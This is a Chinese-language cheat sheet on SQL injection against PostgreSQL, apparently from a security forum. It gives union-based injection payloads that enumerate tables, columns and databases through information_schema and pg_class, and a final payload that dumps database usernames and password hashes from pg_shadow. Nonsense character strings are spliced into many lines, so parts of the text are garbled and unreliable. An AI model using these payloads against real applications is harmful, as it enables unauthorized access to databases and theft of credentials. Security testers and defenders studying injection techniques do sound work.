postgreSQL注入总结

admin

结合了MSSQL MySQL Oracle的一些特点

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
连接符: %20 , + , /**/

内置函数:
current_database() //当前数据库名
$ O$ A9 q. I! ^. Psession_user //会话用户
5 M9 h8 e1 o5 ~9 N1 w/ u' x4 X: rcurrent_user //当前数据库用户
user //当前用户
version() //数据库版本

Union注射:
order by n–
- m+ t5 ~. t& ]' d% Pand 1=2 union select null,null,null–
and 1=2 union select ‘beach’,null,null–
/ E( m5 X2 `6 eand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
+ I- L0 m6 w" xgroup_concat(table_name)
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
  R" L: p/ |: c# z: i" Q8 G(老版本)
6 w8 J/ p" _; ?0 V' spg_class.oid对应pg_attribute.attrelid
2 X9 w' p3 S2 Y# E/ e5 tpg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
select oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
$ K1 Z0 V4 P* m% D- j$ Sand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
7 e* V$ n( D: n" [0 O, ?由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
======================================================================
* B* ~( E6 @2 t) b0 Uand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
7 z+ m5 }0 z/ b! O* p: h! q2 mand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码